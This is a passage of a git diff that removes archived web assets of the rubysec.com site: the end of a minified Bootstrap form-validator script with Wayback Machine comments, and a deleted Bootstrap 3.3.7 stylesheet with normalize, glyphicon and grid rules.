  • ")[n](e)})),void 0===o.data("bs.validator.originalContent")&&o.data("bs.validator.originalContent",o.html()),o.empty().append(r),i.addClass("has-error has-danger"),i.hasClass("has-feedback")&&a.removeClass(this.options.feedback.success)&&a.addClass(this.options.feedback.error)&&i.removeClass("has-success"))},r.prototype.clearErrors=function(t){var n=t.closest(".form-group"),r=n.find(".help-block.with-errors"),i=n.find(".form-control-feedback");r.html(r.data("bs.validator.originalContent")),n.removeClass("has-error has-danger has-success"),n.hasClass("has-feedback")&&i.removeClass(this.options.feedback.error)&&i.removeClass(this.options.feedback.success)&&e(t)&&i.addClass(this.options.feedback.success)&&n.addClass("has-success")},r.prototype.hasErrors=function(){function e(){return!!(t(this).data("bs.validator.errors")||[]).length}return!!this.$inputs.filter(e).length},r.prototype.isIncomplete=function(){function n(){var n=e(t(this));return!("string"==typeof n?t.trim(n):n)}return!!this.$inputs.filter("[required]").filter(n).length},r.prototype.onSubmit=function(t){this.validate(),(this.isIncomplete()||this.hasErrors())&&t.preventDefault()},r.prototype.toggleSubmit=function(){this.options.disable&&this.$btn.toggleClass("disabled",this.isIncomplete()||this.hasErrors())},r.prototype.defer=function(e,n){return n=t.proxy(n,this,e),this.options.delay?(window.clearTimeout(e.data("bs.validator.timeout")),void e.data("bs.validator.timeout",window.setTimeout(n,this.options.delay))):n()},r.prototype.reset=function(){return this.$element.find(".form-control-feedback").removeClass(this.options.feedback.error).removeClass(this.options.feedback.success),this.$inputs.removeData(["bs.validator.errors","bs.validator.deferred"]).each(function(){var e=t(this),n=e.data("bs.validator.timeout");window.clearTimeout(n)&&e.removeData("bs.validator.timeout")}),this.$element.find(".help-block.with-errors").each(function(){var e=t(this),n=e.data("bs.validator.originalContent");e.removeData("bs.validator.originalContent").html(n)}),this.$btn.removeClass("disabled"),this.$element.find(".has-error, .has-danger, .has-success").removeClass("has-error has-danger has-success"),this},r.prototype.destroy=function(){return this.reset(),this.$element.removeAttr("novalidate").removeData("bs.validator").off(".bs.validator"),this.$inputs.off(".bs.validator"),this.options=null,this.validators=null,this.$element=null,this.$btn=null,this.$inputs=null,this};var i=t.fn.validator;t.fn.validator=n,t.fn.validator.Constructor=r,t.fn.validator.noConflict=function(){return t.fn.validator=i,this},t(window).on("load",function(){t('form[data-toggle="validator"]').each(function(){var e=t(this);n.call(e,e.data())})})}(jQuery),$(document).ready(function(){$("#advisory-form").validator(),$("#submit-review-link").on("click",function(t){t.preventDefault(),$("#submit-review").trigger("click")})}); -/* - FILE ARCHIVED ON 07:57:21 Apr 17, 2019 AND RETRIEVED FROM THE - INTERNET ARCHIVE ON 15:40:58 Jan 13, 2020. - JAVASCRIPT APPENDED BY WAYBACK MACHINE, COPYRIGHT INTERNET ARCHIVE. - - ALL OTHER CONTENT MAY ALSO BE PROTECTED BY COPYRIGHT (17 U.S.C. - SECTION 108(a)(3)). -*/ -/* -playback timings (ms): - captures_list: 124.139 - RedisCDXSource: 4.714 - exclusion.robots: 0.129 - esindex: 0.01 - PetaboxLoader3.datanode: 385.983 (5) - load_resource: 587.871 - PetaboxLoader3.resolve: 269.697 (2) - CDXLines.iter: 10.708 (3) - exclusion.robots.policy: 0.12 - LoadShardBlock: 106.226 (3) -*/ \ No newline at end of file diff --git a/index_files/application-1b39ab8fab10056756ed3b194352319b92a6a307cda3aee5.css b/index_files/application-1b39ab8fab10056756ed3b194352319b92a6a307cda3aee5.css deleted file mode 100644 index 24f05e92..00000000 --- a/index_files/application-1b39ab8fab10056756ed3b194352319b92a6a307cda3aee5.css +++ /dev/null @@ -1,30 +0,0 @@ -/*! - * Bootstrap v3.3.7 (http://getbootstrap.com) - * Copyright 2011-2016 Twitter, Inc. - * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) - *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,*:before,*:after{background:transparent !important;color:#000 !important;box-shadow:none !important;text-shadow:none !important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100% !important}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000 !important}.label{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}@font-face{font-family:'Glyphicons Halflings';src:url("/web/20190417075942im_/https://rubysec.com/assets/bootstrap/glyphicons-halflings-regular-13634da87d9e23f8c3ed9108ce1724d183a39ad072e73e1b3d8cbf646d2d0407.eot");src:url("/web/20190417075942im_/https://rubysec.com/assets/bootstrap/glyphicons-halflings-regular-13634da87d9e23f8c3ed9108ce1724d183a39ad072e73e1b3d8cbf646d2d0407.eot#iefix") format("embedded-opentype"),url("/web/20190417075942im_/https://rubysec.com/assets/bootstrap/glyphicons-halflings-regular-fe185d11a49676890d47bb783312a0cda5a44c4039214094e7957b4c040ef11c.woff2") format("woff2"),url("/web/20190417075942im_/https://rubysec.com/assets/bootstrap/glyphicons-halflings-regular-a26394f7ede100ca118eff2eda08596275a9839b959c226e15439557a5a80742.woff") format("woff"),url("/web/20190417075942im_/https://rubysec.com/assets/bootstrap/glyphicons-halflings-regular-e395044093757d82afcb138957d06a1ea9361bdcf0b442d06a18a8051af57456.ttf") format("truetype"),url("/web/20190417075942im_/https://rubysec.com/assets/bootstrap/glyphicons-halflings-regular-42f60659d265c1a3c30f9fa42abcbb56bd4a53af4d83d316d6dd7a36903c43e5.svg#glyphicons_halflingsregular") format("svg")}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:normal;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-euro:before,.glyphicon-eur:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:transparent}body{font-family:"Helvetica Neue", Helvetica, Arial, sans-serif;font-size:14px;line-height:1.42857143;color:#333333;background-color:#fff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:hover,a:focus{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.img-responsive{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;display:inline-block;max-width:100%;height:auto}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eeeeee}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role="button"]{cursor:pointer}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}h1 small,h1 .small,h2 small,h2 .small,h3 small,h3 .small,h4 small,h4 .small,h5 small,h5 .small,h6 small,h6 .small,.h1 small,.h1 .small,.h2 small,.h2 .small,.h3 small,.h3 .small,.h4 small,.h4 .small,.h5 small,.h5 .small,.h6 small,.h6 .small{font-weight:normal;line-height:1;color:#777777}h1,.h1,h2,.h2,h3,.h3{margin-top:20px;margin-bottom:10px}h1 small,h1 .small,.h1 small,.h1 .small,h2 small,h2 .small,.h2 small,.h2 .small,h3 small,h3 .small,.h3 small,.h3 .small{font-size:65%}h4,.h4,h5,.h5,h6,.h6{margin-top:10px;margin-bottom:10px}h4 small,h4 .small,.h4 small,.h4 .small,h5 small,h5 .small,.h5 small,.h5 .small,h6 small,h6 .small,.h6 small,.h6 .small{font-size:75%}h1,.h1{font-size:36px}h2,.h2{font-size:30px}h3,.h3{font-size:24px}h4,.h4{font-size:18px}h5,.h5{font-size:14px}h6,.h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width: 768px){.lead{font-size:21px}}small,.small{font-size:85%}mark,.mark{background-color:#fcf8e3;padding:.2em}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase,.initialism{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777777}.text-primary{color:#337ab7}a.text-primary:hover,a.text-primary:focus{color:#286090}.text-success{color:#3c763d}a.text-success:hover,a.text-success:focus{color:#2b542c}.text-info{color:#31708f}a.text-info:hover,a.text-info:focus{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:hover,a.text-warning:focus{color:#66512c}.text-danger{color:#a94442}a.text-danger:hover,a.text-danger:focus{color:#843534}.bg-primary{color:#fff}.bg-primary{background-color:#337ab7}a.bg-primary:hover,a.bg-primary:focus{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:hover,a.bg-success:focus{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:hover,a.bg-info:focus{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:hover,a.bg-warning:focus{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:hover,a.bg-danger:focus{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eeeeee}ul,ol{margin-top:0;margin-bottom:10px}ul ul,ul ol,ol ul,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none;margin-left:-5px}.list-inline>li{display:inline-block;padding-left:5px;padding-right:5px}dl{margin-top:0;margin-bottom:20px}dt,dd{line-height:1.42857143}dt{font-weight:bold}dd{margin-left:0}.dl-horizontal dd:before,.dl-horizontal dd:after{content:" ";display:table}.dl-horizontal dd:after{clear:both}@media (min-width: 768px){.dl-horizontal dt{float:left;width:160px;clear:left;text-align:right;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #777777}.initialism{font-size:90%}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eeeeee}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block;font-size:80%;line-height:1.42857143;color:#777777}blockquote footer:before,blockquote small:before,blockquote .small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eeeeee;border-left:0;text-align:right}.blockquote-reverse footer:before,.blockquote-reverse small:before,.blockquote-reverse .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before,blockquote.pull-right .small:before{content:''}.blockquote-reverse footer:after,.blockquote-reverse small:after,.blockquote-reverse .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo, Monaco, Consolas, "Courier New", monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;box-shadow:inset 0 -1px 0 rgba(0,0,0,0.25)}kbd kbd{padding:0;font-size:100%;font-weight:bold;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;word-break:break-all;word-wrap:break-word;color:#333333;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}.container:before,.container:after{content:" ";display:table}.container:after{clear:both}@media (min-width: 768px){.container{width:750px}}@media (min-width: 992px){.container{width:970px}}@media (min-width: 1200px){.container{width:1170px}}.container-fluid{margin-right:auto;margin-left:auto;padding-left:15px;padding-right:15px}.container-fluid:before,.container-fluid:after{content:" ";display:table}.container-fluid:after{clear:both}.row{margin-left:-15px;margin-right:-15px}.row:before,.row:after{content:" ";display:table}.row:after{clear:both}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,#rubysec .header .rubyseclogo,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,#rubysec .description .project,#rubysec .new-vulns,#rubysec .new-vuln,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,#rubysec .header .title,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,#rubysec .description .preamble,#rubysec .disclaimer,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-left:15px;padding-right:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{float:left}.col-xs-1{width:8.33333333%}.col-xs-2{width:16.66666667%}.col-xs-3{width:25%}.col-xs-4{width:33.33333333%}.col-xs-5{width:41.66666667%}.col-xs-6{width:50%}.col-xs-7{width:58.33333333%}.col-xs-8{width:66.66666667%}.col-xs-9{width:75%}.col-xs-10{width:83.33333333%}.col-xs-11{width:91.66666667%}.col-xs-12{width:100%}.col-xs-pull-0{right:auto}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-3{right:25%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-6{right:50%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-9{right:75%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-12{right:100%}.col-xs-push-0{left:auto}.col-xs-push-1{left:8.33333333%}.col-xs-push-2{left:16.66666667%}.col-xs-push-3{left:25%}.col-xs-push-4{left:33.33333333%}.col-xs-push-5{left:41.66666667%}.col-xs-push-6{left:50%}.col-xs-push-7{left:58.33333333%}.col-xs-push-8{left:66.66666667%}.col-xs-push-9{left:75%}.col-xs-push-10{left:83.33333333%}.col-xs-push-11{left:91.66666667%}.col-xs-push-12{left:100%}.col-xs-offset-0{margin-left:0%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-12{margin-left:100%}@media (min-width: 768px){.col-sm-1,.col-sm-2,#rubysec .header .rubyseclogo,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,#rubysec .description .project,#rubysec .new-vulns,#rubysec .new-vuln,.col-sm-7,.col-sm-8,#rubysec .header .title,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,#rubysec .description .preamble,#rubysec .disclaimer{float:left}.col-sm-1{width:8.33333333%}.col-sm-2,#rubysec .header .rubyseclogo{width:16.66666667%}.col-sm-3{width:25%}.col-sm-4{width:33.33333333%}.col-sm-5{width:41.66666667%}.col-sm-6,#rubysec .description .project,#rubysec .new-vulns,#rubysec .new-vuln{width:50%}.col-sm-7{width:58.33333333%}.col-sm-8,#rubysec .header .title{width:66.66666667%}.col-sm-9{width:75%}.col-sm-10{width:83.33333333%}.col-sm-11{width:91.66666667%}.col-sm-12,#rubysec .description .preamble,#rubysec 